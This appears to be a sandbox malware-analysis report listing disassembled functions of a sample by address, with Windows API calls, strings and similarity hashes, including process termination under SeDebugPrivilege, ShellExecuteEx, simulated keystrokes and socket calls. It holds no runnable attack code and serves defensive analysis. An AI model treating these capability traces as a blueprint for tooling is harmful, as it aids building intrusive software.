Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 8e08209c95643da5d718b7c51bc5d19e7db61cf651be2907c89d086659cfd28a
Instruction ID: 8341f7367009b2c6d2b6e690e72dfa08e04d3a8733e819832963299f9a3c8f46
Opcode Fuzzy Hash: 8e08209c95643da5d718b7c51bc5d19e7db61cf651be2907c89d086659cfd28a
Instruction Fuzzy Hash: 0B91F671D00229EBDB10DFA9DC45ADEBBB9FF08310F108169E519E7291EB719A44CFA1

Function 00862A96 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0081FC86: _wcscpy.LIBCMT ref: 0081FCA9

_memset.LIBCMT ref: 00862B87
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00862BB6
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00862C69
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00862C97

Strings

HS, xrefs: 00862B16
HS, xrefs: 00862B0F
0, xrefs: 00862B73

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0$HS$HS
API String ID: 4152858687-3747361957
Opcode ID: 04330ae6c93212852531c8114b39e3f0639edd1cd2d5fb7c8591543be133cffe
Instruction ID: 19428ade184248846eb91714aeb07b9039d9805b8e9a9aeb02eb043adc1d07a0
Opcode Fuzzy Hash: 04330ae6c93212852531c8114b39e3f0639edd1cd2d5fb7c8591543be133cffe
Instruction Fuzzy Hash: 0651EE71208B119FC7249F28D845A6FB7E8FF98320F050AADF890D6291DB70CC44CB92

Function 00886D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00886E24
SendMessageW.USER32(?,00001036,00000000,?), ref: 00886E38
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00886E52
_wcscat.LIBCMT ref: 00886EAD
SendMessageW.USER32(?,00001057,00000000,?), ref: 00886EC4
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00886EF2

Strings

SysListView32, xrefs: 00886DF6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 202ecb9ab9681ed51818631790a656d2f118467d66ac66e9c27ff9082f02ec2e
Instruction ID: 00d5950fbb8bfb295f71b7a87d15da12e1622a41103c975cddcd66d961af68e1
Opcode Fuzzy Hash: 202ecb9ab9681ed51818631790a656d2f118467d66ac66e9c27ff9082f02ec2e
Instruction Fuzzy Hash: 87419471A00348ABDF21EF68CC85BEE77A8FF08350F10056AF694D7292E6729D94CB50

Function 0087E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00863C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00863C7A
Part of subcall function 00863C55: Process32FirstW.KERNEL32(00000000,?), ref: 00863C88
Part of subcall function 00863C55: CloseHandle.KERNEL32(00000000), ref: 00863D52

OpenProcess.KERNEL32(00000001,00000000,?), ref: 0087E9A4
GetLastError.KERNEL32 ref: 0087E9B7
OpenProcess.KERNEL32(00000001,00000000,?), ref: 0087E9E6
TerminateProcess.KERNEL32(00000000,00000000), ref: 0087EA63
GetLastError.KERNEL32(00000000), ref: 0087EA6E
CloseHandle.KERNEL32(00000000), ref: 0087EAA3

Strings

SeDebugPrivilege, xrefs: 0087E9C2

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: f9d977896a22cc74408963a6915b6b4a5add0a6b91563ef8ddc6abb808949e66
Instruction ID: 31780fb804d12a5b1c32d8ad4df129beb093b8b8fa72b25f90b2ea19fa0407c8
Opcode Fuzzy Hash: f9d977896a22cc74408963a6915b6b4a5add0a6b91563ef8ddc6abb808949e66
Instruction Fuzzy Hash: 2D4178712002009FDB11EF28CC95B69BBA5FF58314F048468FA4ADB3D2DB74E848CB96

Function 00887291 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008872AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00887351
IsMenu.USER32(?), ref: 00887369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 008873B1
DrawMenuBar.USER32 ref: 008873C4

Strings

0, xrefs: 0088729E
S, xrefs: 00887311, 0088732C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: S$0
API String ID: 3866635326-770256432
Opcode ID: 9a8bb324f42c121553a9af06bda3b3867d8c8470e44d18407c5bba2930c55376
Instruction ID: a0920f153de7557491408005d41f72a49b95297992a4fa962e93cf89671ce91b
Opcode Fuzzy Hash: 9a8bb324f42c121553a9af06bda3b3867d8c8470e44d18407c5bba2930c55376
Instruction Fuzzy Hash: A5412575A04208AFDB20EF54D884EAABBB8FB08314F648429FD15E7360D730ED50EB51

Function 00862F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00863033

Strings

stop, xrefs: 00863004
question, xrefs: 00862FEC
info, xrefs: 00862FD4
warning, xrefs: 0086301C
blank, xrefs: 00862FB5

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 3b595e4bd499934d537b70ddc0f5aa2d3b666265903d9d21defbd9d2fa6511bd
Instruction ID: b273d4f6992c65c0b9d072b92d7118346c7e3451188125b5f2f6a725a13087b6
Opcode Fuzzy Hash: 3b595e4bd499934d537b70ddc0f5aa2d3b666265903d9d21defbd9d2fa6511bd
Instruction Fuzzy Hash: A9112B35348B96BEE7259B58EC42CAF7B9CFF15324B21002AF900E62C2DF745F4456A6

Function 008642F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00864312
LoadStringW.USER32(00000000), ref: 00864319
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 0086432F
LoadStringW.USER32(00000000), ref: 00864336
_wprintf.LIBCMT ref: 0086435C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 0086437A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00864357

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 6e8c23adfc50d0343af94d1b70550f043971774fe1b0b7888d3fbdf89787bb03
Instruction ID: 004cbed56e4d772cb854a97dad913f82c9c3f40a40c0a297914dd558b4c3e9fc
Opcode Fuzzy Hash: 6e8c23adfc50d0343af94d1b70550f043971774fe1b0b7888d3fbdf89787bb03
Instruction Fuzzy Hash: 250162F6900208BFE711E7A4DD89EFA776CFB08301F0005A1B745E6152EA745E854B71

Function 00802A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0083C1C7,00000004,00000000,00000000,00000000), ref: 00802ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,0083C1C7,00000004,00000000,00000000,00000000,000000FF), ref: 00802B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,0083C1C7,00000004,00000000,00000000,00000000), ref: 0083C21A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,0083C1C7,00000004,00000000,00000000,00000000), ref: 0083C286

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 26c9b801d37912458c2f5462b3589d222331850e33cf7909788455d2726912f8
Instruction ID: b3a09992907e1fe02a27b385d892d99bce4bf6104fa2e3b5d2c2786a656b1fa4
Opcode Fuzzy Hash: 26c9b801d37912458c2f5462b3589d222331850e33cf7909788455d2726912f8
Instruction Fuzzy Hash: 234128303046949ECBB59B2C8C8CB6F7B92FB96318F24881DE147D25E1CAB5A881D761

Function 008670C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 008670DD

Part of subcall function 00820DB6: std::exception::exception.LIBCMT ref: 00820DEC
Part of subcall function 00820DB6: __CxxThrowException@8.LIBCMT ref: 00820E01

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00867114
EnterCriticalSection.KERNEL32(?), ref: 00867130
_memmove.LIBCMT ref: 0086717E
_memmove.LIBCMT ref: 0086719B
LeaveCriticalSection.KERNEL32(?), ref: 008671AA
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 008671BF
InterlockedExchange.KERNEL32(?,000001F6), ref: 008671DE

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 22747426ebe1d80eff850fde46c82f620123cd2a0002b38afd6963f25fdef1d7
Instruction ID: d56a90d304cde2000fbe09e5e491a8667a2964f635a6c31d3458372f51f10933
Opcode Fuzzy Hash: 22747426ebe1d80eff850fde46c82f620123cd2a0002b38afd6963f25fdef1d7
Instruction Fuzzy Hash: 2F317E75900215EBCF00DFA8DC85AAEB7B8FF45710F1541B6E904EB246DB309E50CBA1

Function 008861D3 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 008861EB
GetDC.USER32(00000000), ref: 008861F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 008861FE
ReleaseDC.USER32(00000000,00000000), ref: 0088620A
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 00886246
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00886257
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0088902A,?,?,000000FF,00000000,?,000000FF,?), ref: 00886291
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 008862B1

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 6ca8bb65719b74e3d1187f624edabac57bc57afcde7bf7125ffad1bca1a8de9c
Instruction ID: a014702b11b1b5a3517981b2b52cae55eb9af2dd9b530cc263c3d101049577b7
Opcode Fuzzy Hash: 6ca8bb65719b74e3d1187f624edabac57bc57afcde7bf7125ffad1bca1a8de9c
Instruction Fuzzy Hash: 2E317A72200210AFEB119F148C8AFAA3BA9FF59761F040065FE08DA292D7759C51CB60

Function 0085BBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0085BBC4
_memcmp.LIBCMT ref: 0085BBE6
_memcmp.LIBCMT ref: 0085BBFE
_memcmp.LIBCMT ref: 0085BC11
_memcmp.LIBCMT ref: 0085BC2B
_memcmp.LIBCMT ref: 0085BC3E
_memcmp.LIBCMT ref: 0085BC56
_memcmp.LIBCMT ref: 0085BC71

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 605fcd0207db7932cddd76cd3988d10f488baf76ec0923eab2146db735405706
Instruction ID: 04a46a35453c18a8716ebfccdff65d424d581e93c47587a587965e8f722c8c84
Opcode Fuzzy Hash: 605fcd0207db7932cddd76cd3988d10f488baf76ec0923eab2146db735405706
Instruction Fuzzy Hash: 5621D4616012197BAA047615AD42FFB735EFF3036DF584020FD08D6647EB68DE1982AA

Function 0086EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

Part of subcall function 0081FC86: _wcscpy.LIBCMT ref: 0081FCA9

_wcstok.LIBCMT ref: 0086EC94
_wcscpy.LIBCMT ref: 0086ED23
_memset.LIBCMT ref: 0086ED56

Strings

X, xrefs: 0086ED93

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: d35fe133f3fa6ceeac36f210bb83ab4580aff5372f740fc0a78a6525c7169950
Instruction ID: fe4cab7fbc9b5daa5a23f585bf7a7e9efd347b948455c319cd1343d4eddbabb4
Opcode Fuzzy Hash: d35fe133f3fa6ceeac36f210bb83ab4580aff5372f740fc0a78a6525c7169950
Instruction Fuzzy Hash: 63C139755083509FC764EF28D881A5AB7E4FF85324F01892DF999DB2A2DB30EC45CB92

Function 00876B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00876C00
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00876C21
WSAGetLastError.WSOCK32(00000000), ref: 00876C34
htons.WSOCK32(?,?,?,00000000,?), ref: 00876CEA
inet_ntoa.WSOCK32(?), ref: 00876CA7

Part of subcall function 0085A7E9: _strlen.LIBCMT ref: 0085A7F3
Part of subcall function 0085A7E9: _memmove.LIBCMT ref: 0085A815

_strlen.LIBCMT ref: 00876D44
_memmove.LIBCMT ref: 00876DAD

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: 507168f421d10a503e8b4d2ff7410acc2d19676ddebb16de977f44ad67d1fce5
Instruction ID: bc9ff6d1aa271db1d4f24c2947f6320d9bc8ba8b9140a6676a405fbabf58a16f
Opcode Fuzzy Hash: 507168f421d10a503e8b4d2ff7410acc2d19676ddebb16de977f44ad67d1fce5
Instruction Fuzzy Hash: 6481C571204600AFD750EB28DC82E6BBBA8FF84724F148518F999DB2D2EA71DD44CB52

Function 00801424 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe83d50528ffad9bb6a70fd4beda68b1ff80a5d71b994512a6c445bd713ecde2
Instruction ID: c4416e24900c006c6539f06fbc35cd4116717909c9b507493b451da044fd97f6
Opcode Fuzzy Hash: fe83d50528ffad9bb6a70fd4beda68b1ff80a5d71b994512a6c445bd713ecde2
Instruction Fuzzy Hash: 67718C70900509EFDF54CF98CC89ABEBB79FF85324F108159F915EA2A1C734AA11CBA4

Function 0087F41E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0087F448
_memset.LIBCMT ref: 0087F511
ShellExecuteExW.SHELL32(?), ref: 0087F556

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

Part of subcall function 0081FC86: _wcscpy.LIBCMT ref: 0081FCA9

GetProcessId.KERNEL32(00000000), ref: 0087F5CD
CloseHandle.KERNEL32(00000000), ref: 0087F5FC

Strings

@, xrefs: 0087F525

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: a56503dafa0b91ebd5789f6cb83364ded71208c46e133c06b4929c52a25f10bf
Instruction ID: 88fe66f6e8ea97d60037d6dbc912cfc83a7ab306eecbd4a0158fa929b2baf20c
Opcode Fuzzy Hash: a56503dafa0b91ebd5789f6cb83364ded71208c46e133c06b4929c52a25f10bf
Instruction Fuzzy Hash: F4617CB5A006199FCB14DF69C8819AEBBF5FF48310F148069E959EB392CB30ED41CB95

Function 00860F4D Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00860F8C
GetKeyboardState.USER32(?), ref: 00860FA1
SetKeyboardState.USER32(?), ref: 00861002
PostMessageW.USER32(?,00000101,00000010,?), ref: 00861030
PostMessageW.USER32(?,00000101,00000011,?), ref: 0086104F
PostMessageW.USER32(?,00000101,00000012,?), ref: 00861095
PostMessageW.USER32(?,00000101,0000005B,?), ref: 008610B8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 75e3028f52b6dad84b062740812b64ced3ad652ddc717bd0e6e761842ac29233
Instruction ID: 29ab680d425660ce2eb81222eed6b1e15fd981a91581effebabeb6f459c89e76
Opcode Fuzzy Hash: 75e3028f52b6dad84b062740812b64ced3ad652ddc717bd0e6e761842ac29233
Instruction Fuzzy Hash: 9451D260604BD53DFF3642388C19BB6BEA9BB06304F0D8589E2D4C58D3D699DCD8DB52

Function 00860D66 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00860DA5
GetKeyboardState.USER32(?), ref: 00860DBA
SetKeyboardState.USER32(?), ref: 00860E1B
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00860E47
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00860E64
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00860EA8
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00860EC9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 21038db1ca45a6124ccf2de9593c5f490063c2aa3320f863def537b25190775d
Instruction ID: 47fe7216e3be4682df1d80ac3fc9c62dc10af48aa6b8a5caf85adb43847e7d28
Opcode Fuzzy Hash: 21038db1ca45a6124ccf2de9593c5f490063c2aa3320f863def537b25190775d
